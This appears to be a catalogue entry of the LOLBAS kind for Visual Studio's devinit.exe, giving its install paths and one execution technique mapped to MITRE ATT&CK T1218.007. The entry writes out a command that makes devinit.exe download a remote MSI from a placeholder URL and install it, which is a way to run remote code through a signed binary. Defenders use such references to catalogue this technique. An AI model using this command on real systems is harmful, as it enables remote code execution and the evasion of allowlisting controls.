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Visual Studio 2019 tool

Paths:

C:\Program Files\Microsoft Visual Studio\*\Community\Common7\Tools\devinit\devinit.exe
C:\Program Files (x86)\Microsoft Visual Studio\*\Community\Common7\Tools\devinit\devinit.exe

Resources:

Acknowledgements:

Detection:

Execute

Downloads an MSI file to C:\Windows\Installer and then installs it.

devinit.exe run -t msi-install -i https://example.com/out.msi

Usecase: Executes code from a (remote) MSI file.
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1218.007